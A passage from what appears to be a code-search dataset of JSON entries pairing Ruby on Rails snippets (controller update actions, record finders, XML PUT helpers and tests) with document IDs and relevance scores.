format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.5122286", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.5122286", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.5122286", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.5122286", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.5122286", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40f526c220caa1f7c448193c2e93d4bb", "score": "0.5122286", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07913f9864826c2c549306fd47c31dec", "score": "0.51185066", "text": "def update\n @torneo = Torneo.find(params[:id])\n\n respond_to do |format|\n if @torneo.update_attributes(params[:torneo])\n format.html { redirect_to @torneo, notice: 'Torneo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @torneo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7745d2243281b329b66fd51105429497", "score": "0.51160556", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, :notice => 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7745d2243281b329b66fd51105429497", "score": "0.51160556", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, :notice => 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "031b79b9893d1194363de7750ac522ad", "score": "0.5115079", "text": "def update\n respond_to do |format|\n if @rastreamento.update(rastreamento_params)\n format.html { redirect_to @rastreamento, notice: 'Rastreamento was successfully updated.' }\n format.json { render :show, status: :ok, location: @rastreamento }\n else\n format.html { render :edit }\n format.json { render json: @rastreamento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "031b79b9893d1194363de7750ac522ad", "score": "0.5115079", "text": "def update\n respond_to do |format|\n if @rastreamento.update(rastreamento_params)\n format.html { redirect_to @rastreamento, notice: 'Rastreamento was successfully updated.' }\n format.json { render :show, status: :ok, location: @rastreamento }\n else\n format.html { render :edit }\n format.json { render json: @rastreamento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38033d361e5414498d9ec949aa0f8510", "score": "0.5114453", "text": "def update\n respond_to do |format|\n if @tournament.update_attributes(params[:tournament])\n format.html { redirect_to @tournament, notice: 'Tournament was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tournament.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a8704bf156ec1851df221fa4422ee0d", "score": "0.51087666", "text": "def set_race_team\n @race_team = RaceTeam.find(params[:id])\n end", "title": "" }, { "docid": "e631b376ae2ccb776680432bf94b01cc", "score": "0.5108516", "text": "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "title": "" }, { "docid": "4a64c0b08c1d07f49cd1e032cf58c4ca", "score": "0.51036507", "text": "def update\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n if @status.update_attributes(params[:roof_status])\n format.html { redirect_to @roof, notice: 'Status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c95185526c269f2682563904140da3c", "score": "0.51016563", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "e0d5ca648b5a72cde759b2f4a03c472f", "score": "0.5088733", "text": "def update\n\n respond_to do |format|\n ap @team.name\n ap @categorys = Category.where(:team => @team.name)\n ap @admin_tasks = AdminTask.where(:team => @team.name)\n ap @eadmin_tasks = EadminTask.where(:team => @team.name)\n ap @users = User.where(:user_info => @team.name)\n\n if @team.update(team_params)\n ap @team.name\n @admin_tasks.update_all(:team => @team.name )\n @eadmin_tasks.update_all(:team => @team.name )\n @categorys.update_all(:team => @team.name )\n @users.update_all(:user_info => @team.name )\n\n\n format.html { redirect_to team_path, notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99d24a74bc96db3bd84b0451ef3afb5f", "score": "0.5086057", "text": "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "title": "" }, { "docid": "83ab96f6831ac68b1927394efe7e50e0", "score": "0.50859624", "text": "def update\n @team = Team.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params.required(:team).permit!)\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de80649bac90840590f52634af60c052", "score": "0.50804085", "text": "def update\n @team = @club.teams.find(params[:id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to club_path(@club), notice: 'Mannschaft wurde aktualisiert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46b51ed01d2e1613bd00f220e2753197", "score": "0.5076719", "text": "def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "34b1b4a511abef21c00f6d38b5906112", "score": "0.5076517", "text": "def set_team\n @team = Team.find(params[:id])\n end", "title": "" }, { "docid": "449cdda4653268c4848b78501cf3817e", "score": "0.50746554", "text": "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "title": "" }, { "docid": "18327b711e075ad35fed8fba9c745d31", "score": "0.50592786", "text": "def update\n @sales_team = SalesTeam.find(params[:id])\n\n respond_to do |format|\n if @sales_team.update_attributes(params[:sales_team])\n format.html { redirect_to @sales_team, notice: 'Sales team was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sales_team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "edad97b7c17ecd26925f57cd52043864", "score": "0.50527996", "text": "def update\n respond_to do |format|\n if @tournamentteam.update(tournamentteam_params)\n format.html { redirect_to @tournamentteam, notice: 'Tournamentteam was successfully updated.' }\n format.json { render :show, status: :ok, location: @tournamentteam }\n else\n format.html { render :edit }\n format.json { render json: @tournamentteam.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "520f92a4a2c97f6a77c7662528779f7a", "score": "0.5051499", "text": "def update\n @draft_partnership = DraftPartnership.find(params[:id])\n\n respond_to do |format|\n if @draft_partnership.update_attributes(params[:partnership])\n\n format.xml \n else\n \n format.xml { render :xml => @draft_partnership.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a098a6882fad73e5dd5479fe32ae2d2", "score": "0.50496155", "text": "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "title": "" }, { "docid": "2a23032937b59dc548168500e3466fd3", "score": "0.5045736", "text": "def set_rto\n @rto = TrainingOrganization.find(params[:id])\n end", "title": "" }, { "docid": "7e1307b868e459a23f211b838b6bfa4b", "score": "0.5038103", "text": "def update\n respond_to do |format|\n if @srticle.update(srticle_params)\n format.html { redirect_to @srticle, notice: 'Srticle was successfully updated.' }\n format.json { render :show, status: :ok, location: @srticle }\n else\n format.html { render :edit }\n format.json { render json: @srticle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63f49cedd05caf29883e06e6642c4c51", "score": "0.5037261", "text": "def update\n user_team_request = UserTeamRequest.find_by_id(params[:id])\n\n user_team_request.delete\n\n user_team_request.create_user_team\n flash[:success] = \"Team Request Accepted!\"\n\n redirect_to user_path(current_user)\n end", "title": "" }, { "docid": "5ee6655cdbf0a9880214d465060b87dd", "score": "0.50345033", "text": "def update\n @league = League.find(params[:id])\n starts_at = Time.parse(params[:starts_at])\n finishes_at = Time.parse(params[:finishes_at])\n respond_to do |format|\n if @league.update_attributes(params[:league].merge(:starts_at => starts_at, :finishes_at => finishes_at))\n flash[:notice] = 'Liga bola úspešne zmenená.'\n format.html { redirect_to(@league) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @league.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f61991592a96b85fe2eb71b476a66e86", "score": "0.50325185", "text": "def update\n @roster_spot = RosterSpot.find(params[:id])\n\n respond_to do |format|\n if @roster_spot.update_attributes(params[:roster_spot])\n format.html { redirect_to @roster_spot, notice: 'Roster spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @roster_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07901d4d8bd54e5c09b00b8d91975d79", "score": "0.5031096", "text": "def set_team\n @team = Team.find(params[:team_id])\n end", "title": "" }, { "docid": "e49c03bf105bf5112ae58213e669726a", "score": "0.50200623", "text": "def update\n @team = Team.find(params[:team][:team_id])\n\n respond_to do |format|\n if @team.update_attributes(params[:team])\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { head :no_content }\n if params[:players]\n TeamPlayers.update(params[:players], team_name: @team.name)\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "463af35b8adb27699279bf11599de503", "score": "0.50199413", "text": "def update\n @roster = Roster.find(params[:id])\n\n respond_to do |format|\n if @roster.update_attributes(params[:roster])\n format.html { redirect_to @roster, :notice => 'Roster was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @roster.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f15da4f0ad6bedf82602d7bee9c504c7", "score": "0.5017259", "text": "def update\n resource_path = \"/projects/#{project_id}/people/#{id}\"\n Request.put(resource_path, self.to_xml('person'))\n end", "title": "" }, { "docid": "850045ae25cf0b83ac3b1c9cd1426f9c", "score": "0.5017205", "text": "def update\n @rink_league = RinkLeague.find(params[:id])\n\n respond_to do |format|\n if @rink_league.update_attributes(params[:rink_league])\n format.html { redirect_to @rink_league, notice: 'Rink league was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rink_league.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f49850943ae190b579974efea4224576", "score": "0.50126034", "text": "def update\n @setor = Setor.find(params[:id])\n\n respond_to do |format|\n if @setor.update_attributes(params[:setor])\n format.html { redirect_to(setors_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @setor.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d76ef0043f15ace91d25dd9121bc7511", "score": "0.50114423", "text": "def update\n @leagues = League.all.order(:name)\n respond_to do |format|\n if @team.update(team_params)\n format.html { redirect_to @team, notice: 'Team was successfully updated.' }\n format.json { render :show, status: :ok, location: @team }\n else\n format.html { render :edit }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "faafb21501b1967a75c30419c749cf3f", "score": "0.500598", "text": "def set_srticle\n @srticle = Srticle.find(params[:id])\n end", "title": "" } ]
85db7240179c50fa725f5fe5a83ab6ce
PUT /product/1 PUT /product/1.xml
[ { "docid": "a7a91e7c8c411d5afecf8d7a9c1ee6a7", "score": "0.0", "text": "def update\n @product = Product.find(params[:id])\n\n collect_and_assign_product_weaves\n collect_and_assign_product_fabrics\n collect_and_assign_product_attributes\n collect_and_assign_new_categories\n \n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Product was successfully updated.'\n format.html { redirect_to(admin_product_path(@product)) }\n format.xml { head :ok }\n else\n assign_lovs\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "e631b376ae2ccb776680432bf94b01cc", "score": "0.67670256", "text": "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "title": "" }, { "docid": "fa2eeaa45445dd76141374dc13ffab6d", "score": "0.6695711", "text": "def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "title": "" }, { "docid": "c2c0b673628fdc28b181d18c0afd2d5b", "score": "0.6545747", "text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "title": "" }, { "docid": "0588b1f1ff0f4e569e3ca95182044b00", "score": "0.6433127", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n save_success\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0a0d86f08b5cf8c30e79c0e7d59b647", "score": "0.6304699", "text": "def update\n @product = Product.find(params[:id])\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Product was successfully updated.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08cb43d2dd12b2cc0087890bdee7c62c", "score": "0.63022304", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Product was successfully updated.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ebea6e6565855c571999d0382921b1f", "score": "0.6269772", "text": "def update\r\n @product = Product.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @product.update_attributes(params[:product])\r\n flash[:notice] = 'Product was successfully updated.'\r\n format.html { redirect_to(@product) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "2d58c7560045317c9add3038367f80bf", "score": "0.6265426", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Produto alterado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08ed7f24d7ed4bd8a2fb9566e29ad536", "score": "0.62363195", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(products_path, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08ed7f24d7ed4bd8a2fb9566e29ad536", "score": "0.62363195", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(products_path, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "52903831e6e201b4af02b6c66c3f1aaa", "score": "0.6229131", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "bbf6618103730df39963403ca96fa556", "score": "0.6218179", "text": "def update\n #@product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc1dd04a4cf50113e3bca2d01a6abea7", "score": "0.62149763", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'El producto se ha actualizado.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "449cdda4653268c4848b78501cf3817e", "score": "0.62112373", "text": "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "title": "" }, { "docid": "ae5fb82effc733bee8eb354853d40308", "score": "0.6205085", "text": "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "title": "" }, { "docid": "4cdeedf0c852b84823bcc79649250fc4", "score": "0.62021303", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b9ea9c26bbeac82e7bd866d3aef592e", "score": "0.6183399", "text": "def update\n @product = TempProduct.find(params[:id])\n @product.qty = params[:qty]\n # save product\n if @product.save\n # success\n render :json => { :success => true }\n else\n # failed\n render :json => { :success => false }\n end\n end", "title": "" }, { "docid": "a2ee9fa30edb60da01f4efadf2e1dba9", "score": "0.61689925", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Product was successfully updated.'\n format.html { redirect_to products_url(:oss => (@product.oss ||= 'false')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "c4c18cbbb7ebe8da84d1264bc7bd7520", "score": "0.61630124", "text": "def set_api_v1_product\n begin\n @api_v1_product = Product.find(params[:id])\n rescue => ex\n json_response({error: ex.message}, :not_found)\n end\n end", "title": "" }, { "docid": "e59430d8a3ebfd972bfba06601ee9f55", "score": "0.61603975", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Book entry successfully updated.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "717c19ccd8fdd8de675a792551cbfddf", "score": "0.613389", "text": "def update\n @magento_product = MagentoProduct.find(params[:id])\n\n respond_to do |format|\n if @magento_product.update_attributes(params[:magento_product])\n format.html { redirect_to @magento_product, notice: 'Magento product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @magento_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c19a3259d2b96ce608f868d76ba69da", "score": "0.6122369", "text": "def update\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to([:admin, @product], notice: 'Product was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated product: #{@product.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "572b2cf1dc59a5b7ee843d2a4e619d02", "score": "0.61126596", "text": "def update\r\n @product = Product.find_by_urlname(params[:id])\r\n\r\n respond_to do |format|\r\n if @product.update_attributes(params[:product])\r\n flash[:notice] = 'Product was successfully updated.'\r\n format.html { redirect_to(:controller => :admin, :action => :product_list) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "aa59475a20933efff9ac8bd6e4b968a4", "score": "0.6111286", "text": "def update\n @product = Product.find(params[:id])\n\n if @product.update(product_params)\n head :no_content\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3110446b40e28dc99d0d447699592393", "score": "0.6098284", "text": "def update\n if @product.update(product_params)\n render json: @product, status: :ok#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "27b764d2affb580558c78ddcaa9ac123", "score": "0.6059418", "text": "def update\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d389dd38fa0a933eea2d175aeca00918", "score": "0.60300416", "text": "def update\n @product = Product.find(params[:id])\n #@product.accessible = :all if admin?\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to quick_list_path, :notice => 'Product was successfully updated.' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d27181a4a8188f23db0855c4dea9e01", "score": "0.60290164", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product,\n :notice=> 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json=> @product.errors,\n :status=> :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f69bb37f265b08c492b08b0b864df762", "score": "0.60287327", "text": "def update\n @product = Product.first(conditions: ['id = ? and user_id = ?', id: params[:id], user_id: current_user.id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d37b39a795a6e081d6480942ece1c538", "score": "0.6027586", "text": "def put!\n request! :put\n end", "title": "" }, { "docid": "40b7e835e8e0ba59412ba35423fb6234", "score": "0.60246557", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 